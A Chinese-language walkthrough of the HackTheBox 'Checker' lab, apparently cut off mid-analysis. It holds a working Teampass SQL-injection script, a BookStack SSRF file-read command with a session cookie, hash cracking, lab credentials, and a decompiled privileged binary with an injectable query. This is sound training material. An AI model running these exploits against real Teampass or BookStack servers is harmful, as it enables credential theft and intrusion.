目标信息
IP地址:
10.10.11.56
信息收集
ICMP检测
PING 10.10.11.56 (10.10.11.56) 56(84) bytes of data.
64 bytes from 10.10.11.56: icmp_seq=1 ttl=63 time=352 ms
64 bytes from 10.10.11.56: icmp_seq=2 ttl=63 time=236 ms
64 bytes from 10.10.11.56: icmp_seq=3 ttl=63 time=219 ms
64 bytes from 10.10.11.56: icmp_seq=4 ttl=63 time=211 ms
--- 10.10.11.56 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 211.148/254.477/352.028/57.008 ms
攻击机网络连接正常。
防火墙检测
# Nmap 7.95 scan initiated Mon Feb 24 15:12:55 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN ./fin_result.txt 10.10.11.56
Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.56
Host is up (0.21s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http
8080/tcp open|filtered http-proxy
# Nmap done at Mon Feb 24 15:13:25 2025 -- 1 IP address (1 host up) scanned in 29.99 seconds
靶机疑似开放了以下服务:ssh/22
、80,8080/http
。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Mon Feb 24 15:15:31 2025 as: /usr/lib/nmap/nmap -sS -sV -A -p- --min-rate 3000 -oN ./tcp_report.txt 10.10.11.56
Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.56
Host is up (0.20s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 215.44 ms 10.10.14.1
2 215.71 ms 10.10.11.56
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 24 15:16:37 2025 -- 1 IP address (1 host up) scanned in 65.88 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Mon Feb 24 15:17:30 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN ./udp_report.txt 10.10.11.56
Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.56
Host is up (0.24s latency).
All 65535 scanned ports on 10.10.11.56 are in ignored states.
Not shown: 65315 open|filtered udp ports (no-response), 220 closed udp ports (port-unreach)
# Nmap done at Mon Feb 24 15:21:35 2025 -- 1 IP address (1 host up) scanned in 244.35 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Ubuntu Linux
,根据HackTheBox
靶机提交规则,当前靶机主域名将被设置为checker.htb
。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/checker]
└─# nc -nv 10.10.11.56 22
(UNKNOWN) [10.10.11.56] 22 (ssh) open
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
Web应用程序(80端口)
打开主页:http://checker.htb/
发现靶机80
端口部署了BookStack
个人笔记管理系统。尝试查看源代码,发现页面引用了系统自身的CSS
样式/dist/styles.css
,还附带了version
参数,内容为v23.10.2
:
<!-- Styles -->
<link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">
推测BookStack
系统版本为v23.10.2
。尝试联网搜索漏洞:
成功发现BookStack v23.10.2
系统存在授权SSRF
漏洞(CVE-2023-6199
)!该系统后台在处理笔记提交时,会提取HTTP POST
请求参数HTML
中的img
标签,如果HTML
图片标签使用Base64
编码图片内容并将其硬编码在标签内部,则后台会自动解码处理Base64
字符串。但如果当img
标签内的Base64
值为URL
时,后台会自行访问该URL
,这里便造成了SSRF
漏洞。除了使用http
协议访问指定网页,还可以使用file://
协议来访问服务器文件系统。
链接地址:LFR via SSRF in BookStack | Blog | Fluid Attacks
Web应用程序(8080端口)
尝试打开网址http://checker.htb:8080
,查看网络请求,发现网页尝试加载域名vault.checker.htb
的内容:
直接在hosts
文件内添加解析记录,随后访问主页:http://vault.checker.htb:8080
发现8080
端口部署了Teampass
密码管理系统。尝试联网搜索漏洞,发现该系统v3.0.10
之前版本存在SQL
注入漏洞,CVE ID
为CVE-2023-1545
:SQL Injection in nilsteampassnet/teampass | CVE-2023-1545 | Snyk
渗透测试
Teampass SQL注入漏洞利用
在8080
端口的服务探测阶段,发现Teampass
密码管理系统疑似存在SQL
注入漏洞。尝试使用如下EXP
读取Teampass
系统的用户凭据:
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
# htpasswd -bnBC 10 "" h4ck3d | tr -d ':n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
data="{"login":""$inject"","password":"h4ck3d", "apikey": "foo"}"
token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}
users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
echo "There are $users users in the system:"
for i in `seq 0 $(($users-1))`; do
username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
echo "$username: $password"
done
直接执行:
./teampass_sqlexp.sh http://vault.checker.htb:8080
成功发现用户哈希值!且哈希类型为BCrypt
,迭代次数为10
次。
爆破Teampass用户哈希登录
发现用户哈希之后,尝试使用hashcat
进行爆破。首先爆破bob
用户的哈希:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
,字典使用rockyou.txt
:
.\hashcat.exe -m 3200 -a 0 "`$2y`$10`$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" .rockyou.txt --force
成功发现用户凭据:
- 用户名:
bob
- 密码:
cheerleader
直接登录:
成功!
登录BookStack笔记系统
成功登录Teampass
密码管理系统后,点击后台右侧的bookstack login
页面链接,发现BookStack
的登录凭据:
成功发现BookStack
登录凭据:
- 电子邮箱:
bob@checker.htb
- 密码:
mYSeCr3T_w1kI_P4sSw0rD
查看下一项凭据ssh access
:
- 用户名:
reader
- 密码:
hiccup-publicly-genesis
尝试登录SSH
,发现SSH
服务在成功验证系统账号凭据后,还要求输入另一个验证码:
尝试联网查询相关信息,发现该SSH
服务存在双因素认证机制。靶机操作系统安装了Google
动态验证码鉴权PAM
插件,当用户需要从SSH
登录时,除了输入正确的密码外,还必须输入由Google PAM
插件生成,向云验证码服务同步的6
位数在线验证码,且该验证码的有效期只有30
秒。用于生成动态验证码的密钥位于用户家目录的.google_authenticator
配置文件内:
既然暂时无法登录SSH
,那么只能登录BookStack
,尝试寻找其它信息:
点击笔记Basic Backup with cp
,在笔记内发现了一些备份脚本源代码:
#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"
mkdir -p $DESTINATION
cp -r --remove-destination -p $SOURCE $DESTINATION/
这意味着,靶机系统用户reader
的家目录可能被备份至了目录/backup/home_backup
下,而在一般情况中,.google_authenticator
动态验证码配置文件在指定用户家目录内,则该配置文件很可能也被复制到了备份目录下。
结合BookStack v23.10.2
版本存在SSRF
漏洞,并可以通过file://
协议读取服务器本地文件的情况,决定利用该漏洞读取/backup/home_backup/reader/.google_authenticator
文件,获取动态验证码生成密钥后,使用在线工具预测当前时间、30秒前和30秒后的验证码,并逐个尝试进行SSH
登录。
BookStack SSRF漏洞读取配置文件
登录BookStack
后,根据之前联网搜索到的漏洞利用视频进行漏洞复现。首先点击主页右上角Books
=> 右侧边栏Create a Book
按钮,进入书籍创建页面随便输入一个书名后,点击Save Book
创建新电子书:
创建完毕后,点击新电子书管理页面上的Create a new page
按钮,在标题栏和页面上随便输入一些内容后,打开BurpSuite
拦截BookStack
前端发出的自动保存内容请求包:
发现AJAX
请求的目标URL
为/ajax/page/8/save-draft
。根据EXP
发布者的视频,决定使用如下工具发送恶意AJAX
数据包:synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
成功下载项目后,首先编辑./filters_chain_oracle/core/requestor.py
,找到组装php://filter
链的代码,添加将组装的PHP Filter
读链进行Base64
编码后,拼接到HTML img
标签内的代码:
base64_chain = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
filter_chain = f'<img src="data:image/png;base64,{base64_chain}">'
随后执行如下命令发送带有攻击代码的AJAX
请求包,读取Google 2FA
配置文件:
./filters_chain_oracle_exploit.py --target "http://checker.htb/ajax/page/8/save-draft" --file /backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --proxy http://127.0.0.1:8080 --headers '{"X-CSRF-TOKEN":"hlx3zCjAuwynlc9tWQIyKMqAgp8CrInPVdgf7sfg", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjJIWW9qL2tnclYyL0dndHF2NExPM1E9PSIsInZhbHVlIjoidVJVZzdmRThIa013bTAvaUx5bVdLNC9reGM4aDEwRFVZVkZ6QzA3aUV1WXFab0c0ZFhrcjFRMXB6SmlML1dDQW00UVRFVXNldEs2WlNQejEwN1pYSlh6djRLbkhmeXk3NisyaFBEZTQ2eUk4ejl2dEVGb2toZFNFUFAvay9KYlAiLCJtYWMiOiJlNGZkZjczMTIzOGM4ZjMyMmExMDI0ODllNjZmZjdlZmQ1NDg4ZmRlMjI0OWNjZGZkMWMwMWJhMWUyMjk5ODRmIiwidGFnIjoiIn0%3D"}'
成功发现Google Authenticator TOTP
验证码生成密钥:DVDBRAODLCWF7I2ONA4K5LQLUE
。
接下来打开在线工具,输入密钥点击生成按钮,编码格式选择Base32
:
接着直接登录SSH
:
成功!!
权限提升
逆向分析check_leak程序
进入系统后,执行sudo -l
命令,发现当前用户reader
可以root
身份免密运行/opt/hash-checker/check-leak.sh
命令:
查看该脚本内容:
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
发现该脚本会直接调用/opt/hash-checker/check_leak
程序。直接使用scp
将其传输到本地,使用IDA Pro
打开,找到main()
函数后按F5
查看其模拟代码:
由于逆向工程分析需要,作者已经将模拟代码变量进行了重命名,下面贴出main()
函数模拟代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdx
unsigned int shm_location; // [rsp+14h] [rbp-3Ch]
char *db_host; // [rsp+18h] [rbp-38h]
char *db_user; // [rsp+20h] [rbp-30h]
char *db_pass; // [rsp+28h] [rbp-28h]
char *db_name; // [rsp+30h] [rbp-20h]
char *username_input; // [rsp+40h] [rbp-10h]
void *ptr; // [rsp+48h] [rbp-8h]
db_host = getenv("DB_HOST");
db_user = getenv("DB_USER");
db_pass = getenv("DB_PASSWORD");
db_name = getenv("DB_NAME");
if ( *(_BYTE *)(((unsigned __int64)(argv + 1) >> 3) + 0x7FFF8000) )
__asan_report_load8(argv + 1);
username_input = (char *)argv[1];
if ( !db_host || !db_user || !db_pass || !db_name )// Check if MySQL credential not exists
{
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fwrite("Error: Missing database credentials in environmentn", 1uLL, 0x33uLL, stderr);
__asan_handle_no_return();
exit(1);
}
if ( argc != 2 ) // Throw error if the command arguments are less than 2
{
if ( *(_BYTE *)(((unsigned __int64)argv >> 3) + 0x7FFF8000) )
__asan_report_load8(argv);
v3 = *argv;
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fprintf(stderr, "Usage: %s <USER>n", v3);
__asan_handle_no_return();
exit(1);
}
if ( !username_input )
goto ERROR_EMPTY_USERNAME;
if ( *(_BYTE *)(((unsigned __int64)username_input >> 3) + 0x7FFF8000) != 0
&& ((unsigned __int8)username_input & 7) >= *(_BYTE *)(((unsigned __int64)username_input >> 3) + 0x7FFF8000) )
{
__asan_report_load1(username_input);
}
if ( !*username_input )
{
ERROR_EMPTY_USERNAME:
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fwrite("Error: <USER> is not provided.n", 1uLL, 0x1FuLL, stderr);
__asan_handle_no_return();
exit(1);
}
if ( strlen(username_input) > 20 ) // Throw error if the username's length is longer than 20
{
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fwrite("Error: <USER> is too long. Maximum length is 20 characters.n", 1uLL, 0x3CuLL, stderr);
__asan_handle_no_return();
exit(1);
}
ptr = (void *)fetch_hash_from_db(db_host, db_user, db_pass, db_name, username_input);
if ( ptr )
{
if ( (unsigned __int8)check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt", ptr) )
{
puts("Password is leaked!");
if ( *(_BYTE *)(((unsigned __int64)&edata >> 3) + 0x7FFF8000) )
__asan_report_load8(&edata);
fflush(edata);
shm_location = write_to_shm(ptr);
printf("Using the shared memory 0x%X as temp locationn", shm_location);
if ( *(_BYTE *)(((unsigned __int64)&edata >> 3) + 0x7FFF8000) )
__asan_report_load8(&edata);
fflush(edata);
sleep(1u);
notify_user(db_host, db_user, db_pass, db_name, shm_location);
clear_shared_memory(shm_location);
}
else
{
puts("User is safe.");
}
free(ptr);
}
else
{
puts("User not found in the database.");
}
return 0;
}
我们首先来分析main()
主程序函数。在初始化阶段,程序从环境变量读入了db_host
、db_user
、db_pass
和db_name
四个MySQL
数据库连接配置,以及从命令行输入读入了用户名,存在username_input
内,接着进行了检测连接凭据与输入用户名是否为空等一系列操作,范围在12 - 61
行。
紧接着,程序调用了fetch_hash_from_db
函数,将数据库凭据和输入用户名全部传入了进去:
直接双击该函数,查看其模拟代码:
char *__fastcall fetch_hash_from_db(
__int64 db_host,
__int64 db_user,
__int64 db_pass,
__int64 db_name,
const char *username)
{
unsigned __int64 buffer; // rbx
__int64 v6; // rax
_DWORD *v7; // r12
const char *mysql_error_init_message; // rcx
const char *mysql_error_connect_message; // rcx
const char *mysql_error_query_message; // rcx
const char *mysql_error_savedata_message; // rcx
size_t each_result_length; // rax
char *dest; // [rsp+30h] [rbp-500h]
__int64 mysql_conn; // [rsp+38h] [rbp-4F8h]
__int64 db_query_result; // [rsp+40h] [rbp-4F0h]
unsigned __int64 row; // [rsp+48h] [rbp-4E8h]
char v21[1208]; // [rsp+50h] [rbp-4E0h] BYREF
unsigned __int64 v22; // [rsp+508h] [rbp-28h]
buffer = (unsigned __int64)v21;
if ( _asan_option_detect_stack_use_after_return )
{
v6 = __asan_stack_malloc_5(1184LL);
if ( v6 )
buffer = v6;
}
*(_QWORD *)buffer = 1102416563LL;
*(_QWORD *)(buffer + 8) = "1 32 1024 8 query:36";
*(_QWORD *)(buffer + 16) = fetch_hash_from_db;
v7 = (_DWORD *)(buffer >> 3);
v7[536862720] = -235802127;
v7[536862753] = -202116109;
v7[536862754] = -202116109;
v7[536862755] = -202116109;
v7[536862756] = -202116109;
v22 = __readfsqword(40u);
mysql_conn = mysql_init(0LL);
if ( !mysql_conn )
{
mysql_error_init_message = (const char *)mysql_error(0LL);
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fprintf(stderr, "Error: %sn", mysql_error_init_message);
__asan_handle_no_return();
exit(1);
}
if ( !mysql_real_connect(mysql_conn, db_host, db_user, db_pass, db_name, 0LL, 0LL, 0LL) )
{
mysql_error_connect_message = (const char *)mysql_error(mysql_conn);
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fprintf(stderr, "Error: %sn", mysql_error_connect_message);
mysql_close(mysql_conn);
__asan_handle_no_return();
exit(1);
}
snprintf((char *)(buffer + 32), 0x400uLL, "SELECT pw FROM teampass_users WHERE login = '%s';", username);
if ( (unsigned int)mysql_query(mysql_conn, buffer + 32) )
{
mysql_error_query_message = (const char *)mysql_error(mysql_conn);
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fprintf(stderr, "Error: %sn", mysql_error_query_message);
mysql_close(mysql_conn);
__asan_handle_no_return();
exit(1);
}
db_query_result = mysql_store_result(mysql_conn);
if ( !db_query_result )
{
mysql_error_savedata_message = (const char *)mysql_error(mysql_conn);
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fprintf(stderr, "Error storing result: %sn", mysql_error_savedata_message);
mysql_close(mysql_conn);
__asan_handle_no_return();
exit(1);
}
dest = 0LL;
row = mysql_fetch_row(db_query_result);
if ( row )
{
if ( *(_BYTE *)((row >> 3) + 0x7FFF8000) )
__asan_report_load8(row);
if ( *(_QWORD *)row )
{
each_result_length = strlen(*(const char **)row);
dest = (char *)malloc(each_result_length + 1);
if ( !dest )
{
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fwrite("Memory allocation error.n", 1uLL, 0x19uLL, stderr);
mysql_free_result(db_query_result);
mysql_close(mysql_conn);
__asan_handle_no_return();
exit(1);
}
if ( *(_BYTE *)((row >> 3) + 0x7FFF8000) )
__asan_report_load8(row);
strcpy(dest, *(const char **)row);
}
}
else
{
dest = 0LL;
}
mysql_free_result(db_query_result);
mysql_close(mysql_conn);
if ( v21 == (char *)buffer )
{
*(_DWORD *)((buffer >> 3) + 0x7FFF8000) = 0;
*(_QWORD *)((buffer >> 3) + 0x7FFF8084) = 0LL;
*(_QWORD *)((buffer >> 3) + 0x7FFF808C) = 0LL;
}
else
{
*(_QWORD *)buffer = 1172321806LL;
__asan_stack_free_5(buffer, 1184LL, v21);
}
return dest;
}
可以发现该函数的作用是登录数据库并查出指定用户的哈希值。函数在第23 - 59
行进行了一系列数据库初始化操作,随后在第60 - 81
行进行了数据库查询和结果保存。首先可以发现,查询的SQL
语句为:
SELECT pw FROM teampass_users WHERE login = '{USERNAME}';
很显然,程序查询的是Teampass
的用户哈希,而之前在渗透测试过程中,发现admin
和bob
用户的哈希刚好发生泄露。
随后,在第82 - 110
行,程序创建了dest
变量,使用mysql_fetch_row
函数将哈希值保存到临时变量内,接着根据其字符串长度,使用malloc()
函数动态分配了内存空间,将其指针赋值给dest
变量,最后将临时变量中的内容使用strcpy
函数复制到了dest
变量中。在该函数末尾,使用return
返回了dest
变量。
由此可得到总结:fetch_hash_from_db
是根据输入用户名向数据库查询其哈希的函数。
继续看main()
函数。当fetch_hash_from_db
函数执行完毕后,程序会判断其返回值变量ptr
是否为NULL
。如果不为NULL
,程序又会调用check_bcrypt_in_file
函数,似乎是将返回的哈希值同/opt/hash-checker/leaked_hashes.txt
内保存的哈希作逐行比较:
__int64 __fastcall check_bcrypt_in_file(const char *file_path, const char *result_ptr)
{
unsigned __int64 filedata_buffer; // rbx
__int64 v3; // rax
char *v4; // r13
_DWORD *v5; // r12
__int64 result; // rax
size_t v7; // rcx
char v8; // dl
size_t v9; // rcx
char v10; // dl
FILE *stream; // [rsp+10h] [rbp-1B0h]
size_t bcrypt_hashfile_length; // [rsp+18h] [rbp-1A8h]
char v13[376]; // [rsp+20h] [rbp-1A0h] BYREF
unsigned __int64 v14; // [rsp+198h] [rbp-28h]
filedata_buffer = (unsigned __int64)v13;
if ( _asan_option_detect_stack_use_after_return )
{
v3 = __asan_stack_malloc_3(352LL);
if ( v3 )
filedata_buffer = v3;
}
v4 = (char *)(filedata_buffer + 384);
*(_QWORD *)filedata_buffer = 1102416563LL;
*(_QWORD *)(filedata_buffer + 8) = "1 32 256 7 line:76";
*(_QWORD *)(filedata_buffer + 16) = check_bcrypt_in_file;
v5 = (_DWORD *)(filedata_buffer >> 3);
v5[536862720] = -235802127;
v5[536862729] = -202116109;
v5[536862730] = -202116109;
v14 = __readfsqword(0x28u);
stream = fopen(file_path, "r");
if ( stream )
{
while ( fgets((char *)(filedata_buffer + 32), 256, stream) )
{
bcrypt_hashfile_length = strlen((const char *)(filedata_buffer + 32));
if ( bcrypt_hashfile_length )
{
v7 = bcrypt_hashfile_length - 1;
v8 = *(_BYTE *)(((bcrypt_hashfile_length - 1 + filedata_buffer + 32) >> 3) + 0x7FFF8000);
if ( v8 != 0 && (char)((bcrypt_hashfile_length - 1 + filedata_buffer + 32) & 7) >= v8 )
__asan_report_load1(bcrypt_hashfile_length - 1 + filedata_buffer + 32);
if ( v4[v7 - 352] == 10 )
{
v9 = bcrypt_hashfile_length - 1;
v10 = *(_BYTE *)(((bcrypt_hashfile_length - 1 + filedata_buffer + 32) >> 3) + 0x7FFF8000);
if ( v10 != 0 && (char)((bcrypt_hashfile_length - 1 + filedata_buffer + 32) & 7) >= v10 )
__asan_report_store1(bcrypt_hashfile_length - 1 + filedata_buffer + 32);
v4[v9 - 352] = 0;
}
}
if ( !strcmp((const char *)(filedata_buffer + 32), result_ptr) )
{
fclose(stream);
LODWORD(result) = 1;
goto LABEL_17;
}
}
fclose(stream);
LODWORD(result) = 0;
}
else
{
perror("Error opening file");
LODWORD(result) = 0;
}
LABEL_17:
if ( v13 == (char *)filedata_buffer )
{
*(_DWORD *)((filedata_buffer >> 3) + 0x7FFF8000) = 0;
*(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8024) = 0LL;
}
else
{
*(_QWORD *)filedata_buffer = 1172321806LL;
*(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8000) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8008) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8010) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8018) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((filedata_buffer >> 3) + 0x7FFF8020) = 0xF5F5F5F5F5F5F5F5LL;
*(_DWORD *)((filedata_buffer >> 3) + 0x7FFF8028) = -168430091;
**(_BYTE **)(filedata_buffer + 504) = 0;
}
return (unsigned int)result;
}
该函数的核心在第54 - 59
行。在第36
行,函数通过fgets()
方法和while
循环,实现了每次读取一行文件内容到filedata_buffer
的功能(哈希值开头索引在数组第32
位)。随后,在第54 - 59
行,程序使用strcmp
函数将传入哈希值和filedata_buffer
内保存的正确哈希值进行了比较,如内容相符,则返回True
。
继续返回看main()
函数。当check_bcrypt_in_file
函数执行完毕,且传入哈希和正确哈希相匹配时,程序会打印密码泄露的提示,并调用write_to_shm()
函数。从下面printf()
函数打印的内容来看,该函数似乎是将哈希值内容写入了Linux
共享空间内。查看该函数:
__int64 __fastcall write_to_shm(const char *dbhash_ptr)
{
unsigned __int64 v1; // rbx
__int64 v2; // rax
unsigned __int64 v3; // r12
unsigned int current_timestamp_1; // eax
time_t current_timestamp_2; // rax
unsigned __int64 current_time_string_lastchar; // rcx
unsigned int key; // [rsp+10h] [rbp-A0h]
int shmid; // [rsp+14h] [rbp-9Ch]
char *share_memory_ptr; // [rsp+20h] [rbp-90h]
const char *current_time_string; // [rsp+28h] [rbp-88h]
char v12[88]; // [rsp+30h] [rbp-80h] BYREF
unsigned __int64 v13; // [rsp+88h] [rbp-28h]
v1 = (unsigned __int64)v12;
if ( _asan_option_detect_stack_use_after_return )
{
v2 = __asan_stack_malloc_0(64LL);
if ( v2 )
v1 = v2;
}
*(_QWORD *)v1 = 1102416563LL;
*(_QWORD *)(v1 + 8) = "1 32 8 7 now:105";
*(_QWORD *)(v1 + 16) = write_to_shm;
v3 = v1 >> 3;
*(_DWORD *)(v3 + 2147450880) = -235802127;
*(_DWORD *)(v3 + 2147450884) = -202116352;
v13 = __readfsqword(0x28u);
current_timestamp_1 = time(0LL);
srand(current_timestamp_1);
key = rand() % 0xFFFFF;
shmid = shmget(key, 0x400uLL, 950);
if ( shmid == -1 )
{
perror("shmget");
__asan_handle_no_return();
exit(1);
}
share_memory_ptr = (char *)shmat(shmid, 0LL, 0);
if ( share_memory_ptr == (char *)-1LL )
{
perror("shmat");
__asan_handle_no_return();
exit(1);
}
current_timestamp_2 = time(0LL);
if ( *(_BYTE *)(((v1 + 32) >> 3) + 0x7FFF8000) )
current_timestamp_2 = __asan_report_store8(v1 + 32);
*(_QWORD *)(v1 + 32) = current_timestamp_2;
current_time_string = ctime((const time_t *)(v1 + 32));
current_time_string_lastchar = (unsigned __int64)¤t_time_string[strlen(current_time_string) - 1];
if ( *(_BYTE *)((current_time_string_lastchar >> 3) + 0x7FFF8000) != 0
&& (char)(current_time_string_lastchar & 7) >= *(_BYTE *)((current_time_string_lastchar >> 3) + 0x7FFF8000) )
{
__asan_report_store1(current_time_string_lastchar);
}
*(_BYTE *)current_time_string_lastchar = 0;
snprintf(share_memory_ptr, 0x400uLL, "Leaked hash detected at %s > %sn", current_time_string, dbhash_ptr);
shmdt(share_memory_ptr);
if ( v12 == (char *)v1 )
{
*(_QWORD *)((v1 >> 3) + 0x7FFF8000) = 0LL;
}
else
{
*(_QWORD *)v1 = 1172321806LL;
*(_QWORD *)((v1 >> 3) + 0x7FFF8000) = 0xF5F5F5F5F5F5F5F5LL;
**(_BYTE **)(v1 + 56) = 0;
}
return key;
}
该函数的重点在第30 - 33
行和第47 - 60
行。首先,程序获取了当前时间戳current_timestamp_1
,并使用其作为随机数种子,通过rand()
生成了随机整数,并将随机数和0xFFFFF
作了取余运算操作,将运算结果的16
进制值作为了Linux
共享内存的索引地址值,创建并连接了共享内存空间。(比如,程序于2020年1月1日19:00:00进行上述操作,则时间戳为1577876400,rand()函数结果为1273327832,共享内存地址就为0x26b98)
接着,程序又获取了时间戳current_timestamp_2
,并使用ctime()
函数将其转换为标准时间字符串current_time_string
,然后将该变量和传入哈希值格式化为如下字符串:
Leaked hash detected at {Time String} > {Hash}n
格式化完毕后,就将字符串写入了共享内存中,并使用return
返回共享内存地址。
返回继续看main()
函数。当成功接收到共享内存地址shm_location
后,程序会将其地址值打印,随后暂停执行1
秒,接着又将数据库凭据变量和shm_location
传入了notify_user()
函数中调用:
unsigned __int64 __fastcall notify_user(
__int64 db_host,
const char *db_user,
const char *db_pass,
const char *db_name,
unsigned int shm_location)
{
unsigned __int64 v5; // r12
__int64 v6; // rax
_DWORD *v7; // rbx
int v8; // edx
_BYTE *v9; // rdx
unsigned int shmid; // [rsp+30h] [rbp-1F0h]
int command_buffer; // [rsp+34h] [rbp-1ECh]
char *haystack; // [rsp+38h] [rbp-1E8h]
const char *hash_exist_flag_ptr; // [rsp+40h] [rbp-1E0h]
char *pipechar_location_shm_ptr; // [rsp+48h] [rbp-1D8h]
const char *database_hash; // [rsp+50h] [rbp-1D0h]
char *command; // [rsp+60h] [rbp-1C0h]
FILE *stream; // [rsp+68h] [rbp-1B8h]
char *v22; // [rsp+70h] [rbp-1B0h]
char *ptr; // [rsp+78h] [rbp-1A8h]
char v24[376]; // [rsp+80h] [rbp-1A0h] BYREF
unsigned __int64 v25; // [rsp+1F8h] [rbp-28h]
v5 = (unsigned __int64)v24;
if ( _asan_option_detect_stack_use_after_return )
{
v6 = __asan_stack_malloc_3(352LL);
if ( v6 )
v5 = v6;
}
*(_QWORD *)v5 = 1102416563LL;
*(_QWORD *)(v5 + 8) = "1 32 256 17 result_buffer:171";
*(_QWORD *)(v5 + 16) = notify_user;
v7 = (_DWORD *)(v5 >> 3);
v7[536862720] = -235802127;
v7[536862729] = -202116109;
v7[536862730] = -202116109;
v25 = __readfsqword(0x28u);
shmid = shmget(shm_location, 0LL, 438);
if ( shmid == -1 )
{
printf("No shared memory segment found for the given address: 0x%Xn", shm_location);
goto ERROR_NO_SHM_MEMORY;
}
haystack = (char *)shmat(shmid, 0LL, 0);
if ( haystack == (char *)-1LL )
{
if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
__asan_report_load8(&stderr);
fprintf(
stderr,
"Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.n",
shmid);
goto ERROR_NO_SHM_MEMORY;
}
hash_exist_flag_ptr = strstr(haystack, "Leaked hash detected");
if ( !hash_exist_flag_ptr )
{
puts("No hash detected in shared memory.");
goto ERROR_NO_HASHFLAG_FOUND;
}
pipechar_location_shm_ptr = strchr(hash_exist_flag_ptr, '>');
